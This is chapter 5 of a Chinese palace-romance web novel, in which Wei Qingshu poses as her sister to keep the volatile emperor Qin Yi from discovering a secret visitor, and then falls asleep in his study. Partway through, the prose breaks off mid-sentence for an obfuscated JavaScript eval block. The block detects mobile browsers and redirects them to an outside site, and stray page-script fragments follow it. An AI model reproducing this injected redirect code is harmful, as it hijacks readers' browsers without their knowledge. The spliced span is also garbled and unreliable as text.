5. 第5章

卫青姝穿着卫青妧的衣衫,带着宫女和一些食物前往御书房。


秦祎晚些时候总要去寒凉宫,可是偏巧不巧,夜幕降临之时偷偷跑进寒凉宫一男子——夏子卿。


小别胜新婚,许久不见的对望让卫青妧与夏子卿泪眼婆娑。


卫青姝无奈再次装扮姐姐,拦住秦祎,只要他今夜不去寒凉宫便可万事大吉。


御书房灯火通明,走近了却有瓷器打碎掉落的声音。


“嘭”


卫青姝刚打开一丝缝隙探出脑袋,猛的被飞来的瓷器砸的连连关门后退。


秦祎背对着门怒吼,语气中很是不悦:“朕不准人随意进出御书房,你们都聋了吗?”


卫青姝皱了皱眉,下午来不是还没事呢吗?


守在门口的崔喜瞥过一地狼籍与地上的女子,小心翼翼的提醒:“皇上,是舒妃。”


一瞬间,房间似乎安静了片刻,秦祎缓缓转过身,眉头微皱,言语舒缓了很多,语气中只夹杂微微的疑惑与不耐烦:“她来做什么?”


崔喜摇摇头:“老奴不知。”


秦祎依旧一副不耐烦的样子,语气却和缓了许多:“让她进来。”


卫青姝怯生生探出半个头,确定安然无恙了才敢完全走进来。


可是走进来才发现地上一片狼藉,全是碎掉的瓷器,书桌让跪坐着一名女子,手背似是被割破了,疼的泪眼婆娑,却不曾换来秦祎半分好脸色。


卫青姝在门口愣着,看着这情形也不知该如何下脚。


秦祎在她进门的那一刻,眼神微微变了变,似是有些疑惑,却也没有说什么,只是静静的看着她。


卫青姝转身看了看宫女,亲手端过托盘,小心翼翼走过破碎的瓷瓦:“皇上,臣妾给你送碗羹汤。”


本是舞姿非凡,走过窄小的路没碰上一片瓦片。


卫青姝将羹汤放到秦祎面前,见他脸色没有刚进来那般难看才放下心来。


卫青姝垂眸看着泪眼婆娑的女子触目惊心的伤口,不由得皱了皱眉头,小心翼翼瞥过秦祎,语气轻柔:“皇上,不知这位姐姐犯了何事,这么重的伤口不如先去处理处理呢。”


“我不过也是送了碗羹汤。”跪坐在地上的女子丝毫不怕秦祎,抱着受伤的胳膊很是傲慢。


秦祎缓和下来的脸色又阴沉了些许,只是比刚刚的气恼带了一丝阴狠,似乎这女子再说下去就要让她命丧当场一般。


崔喜见状连忙解释,很是无奈:“送了碗带药的羹汤。”


“药?”卫青姝微愣,莫不是毒药?


女子委屈巴巴低头:“皇上,纯儿只是怕黑,想让你陪陪我。”


纯儿?


卫青姝默默打量着眼前的女子,黑发如瀑布,五官端正,衣着华丽,也是一名面容娇好的女子。


而在后宫中如此放肆的,恐怕只有禧妃顾纯儿了。


禧妃没有命丧当场,恐怕不是毒药,而是别的了吧。


秦祎脸色铁青,似是想要发作,但瞥了一眼卫青姝,又冷漠的转过头不看顾纯儿。


卫青姝有些喜上眉梢,若是秦祎跟禧妃走了,那寒凉宫之事就会轻而易举的瞒住了。


心里想着,她满眼期待看向秦祎:“皇上,不然你今晚陪陪这位姐姐?”


秦祎眉头一皱,冷笑着看向卫青姝,眼神里多了几分讥讽,语气中又夹杂了几分压制的怒气:“舒妃让我今晚陪她?”


卫青姝敛了敛情绪,垂眸,心中暗道:秦祎怎么喜怒无常?


秦祎上前走了一步,伸出手捏着卫青姝的脸,迫使她对上自己的目光,愤恨道:“舒妃好大的气度。”


卫青姝被他捏的下巴生疼,却一点不敢说话。


不知想到什么,秦祎猛的松开了手,拿起一旁唯一幸存的茶杯,猛地用力捏开了一条缝。


秦祎似乎没有察觉一般,冷冷自嘲:“也对,你根本不在意我,你在乎的是你之前的丈夫,朕今晚宿在何处,你根本不在乎。”


卫青姝眉心直跳,惦记着到来的夏子卿,又再次想起杀了宠妃的事例,连忙解释:“皇上你误会了,前尘已散,现在我在乎你,只在乎你,我只是看着纯儿姐姐受这么重的伤,有些心疼,皇上您也太不懂得怜香惜玉了。”


秦祎猛的回头,愣愣的看着卫青姝,将信将疑,言语生涩又不敢确定般询问:“你只是怪朕不懂怜香惜玉?”


卫青姝杏眸无辜的眨了眨,为什么秦祎总是能捕捉到她语言中的漏洞,她现在该点头还是摇头。


顾纯儿一脸茫然的看着秦祎,他今天喜怒无常的有些不受控制,还有这让人猝不及防。


崔喜也在一旁微愣,这故事走向不太一样。


秦祎又疯狂点点头,自言自语:“对,朕就是不懂怜香惜玉。”


随即指了指崔喜,吩咐道:“崔喜,请御医给禧妃看看伤口,不要留疤,顺便送禧妃回去。”


“皇上不陪着禧妃回去吗?”


秦祎忽而冷漠看向卫青姝:“朕做事要你允许?”


卫青姝默默摇头,又试探性的回了一句:“皇上若是不去,不如今晚我陪着纯儿姐姐吧,免得纯儿姐姐怕黑。”


顾纯儿眼眸一亮,看着怒而不言的秦祎疯狂点头:“好啊,多谢舒妃妹妹。”


卫青姝与顾纯儿对视一眼,似乎两人不谋而合。


顾纯儿本就不想秦祎去卫青妧那里才来的,而卫青姝也是为了不让秦祎去卫青妧那里才来的。


只是顾纯儿是为了争宠,卫青姝是为了避宠。


只是卫青姝不明白,秦祎的后宫即使宠妃也步步维艰,为何顾纯儿还这般想要留住秦祎,而且顾纯儿对秦祎真的大胆,难道是真爱?


卫青姝就这样被顾纯儿轻易撬走了,两人说说笑笑不消片刻便睡着了。


“舒妃。”


然而,不知过了多久,卫青姝像是做梦般又回到了御书房,摇摇晃晃的灯盏晃得出神,迷离的眼睛看清秦祎英俊的脸猛的惊醒。


“皇上?”


卫青姝眨了眨眼睛,再次环顾四周,破碎的瓦片已经消失的无影无踪,摇晃的烛光像是梦境一般。


卫青姝伸出手掌,猛的冲着自己的脸蛋挥去。


秦祎眼疾手快,皱着眉头满是疑惑,阴


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333920|167730||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


冷的语气询问:“你做什么?”


卫青姝眨了眨杏眸:“我试试自己是不是在做梦?”


秦祎愣了片刻,若有所思一般,拿起桌子一旁的奏折,向着卫青姝随意敲了一下,脸凑到她的眼前,认真的探寻:“你也会梦到朕吗?”


秦祎掌握的力度刚刚好,不会太痛,也不会没有感觉。真实的触感传来,卫青姝摇摇头:“好像不会。”


秦祎眼底的光似是暗了些,却又好像知道这种结果一般。


“禧妃已经睡着了,不用你陪了。”秦祎看着又有些睡意的卫青姝,“接下来该你陪着朕了。”


“啊。”


卫青姝皱了皱眉头,抿了抿唇,猛的抱住秦祎的胳膊,不满又委屈巴巴道,“皇上,夜深人静了,难道不该睡觉了吗?”


秦祎一愣,眼眸幽深看向卫青姝,烛光衬在眼眸中似是一团火掩藏着黑夜的复杂。


御书房的寂静如同诗中“缺月挂疏桐,漏断人初静”描写的这般,似乎能听到漏沙滑落的声音,又好像能听到水滴滴落之声。


这般的寂静让卫青姝恢复了思考,心中懊悔:这是说了什么?


不能回寒凉宫,更不能暴露自己的身份,那接下来怎么办。


正在卫青姝不知怎么办好之时,秦祎忽然开了口:“朕还有这些奏折没有批阅。”


“皇上辛苦了。”卫青姝悻悻的回应,眼眸瞥到一样的砚台,声音轻柔,“不如我给皇上研墨吧。”


“嗯。”


秦祎点点头。


卫青姝耐心研墨,侧眸忽而看向秦祎俊俏的侧脸,棱角分明的脸庞竟是这般完美,烛光下认真的模样倒是有几分从前翩然俊雅的样子。


曾经,她也为秦祎研墨,那时候秦祎少年风发,卫青姝缠着秦祎要吃幽州烤鸭,可是秦祎忙碌几乎见不到面,她跑到他面前研墨,希望快点结束去吃烤鸭,可是她研了好久的墨,秦祎都不曾忙碌完,后来便不了了之了。


只是当年秦祎君子谦谦,如今怎么变成弑杀暴虐的人了呢。


卫青姝想不明白。


想不明白就不想了,卫青姝悄无声息的伸了伸懒腰,胳膊全部放在了桌子上。


不消片刻,卫青姝趴在桌边又睡着了。


秦祎拿着奏折愣住了,缓缓抬眸,确定她睡着了才认认真真看过去。


他将烛台轻轻拿近了些,烛光完全映照在卫青姝的脸上。


她酣睡的样子格外香甜,红润的小嘴被压的微微嘟起,修长的睫毛普通蝶翼一般轻轻颤动,她的手轻轻收了收,秦祎一时间便不敢动了。


又过了片刻,卫青姝没了动静,秦祎轻轻挪动凳子,蹑手蹑脚的向一旁的衣架走去。


衣架上的毛绒披肩串着简单的金丝线,勾勒出简单的花朵,衣服长度似乎为卫青姝量身定制的一般。


秦祎满意的看着披肩,眼神中被满足填满。


身后,卫青姝似乎做了个梦,伸出手摸了摸肩膀,委屈撒娇的声音喃喃低语:“秦皓,我冷。”


似是听到了,秦祎身体微微一僵,眼神微变,握着披肩的手似乎用力了些许。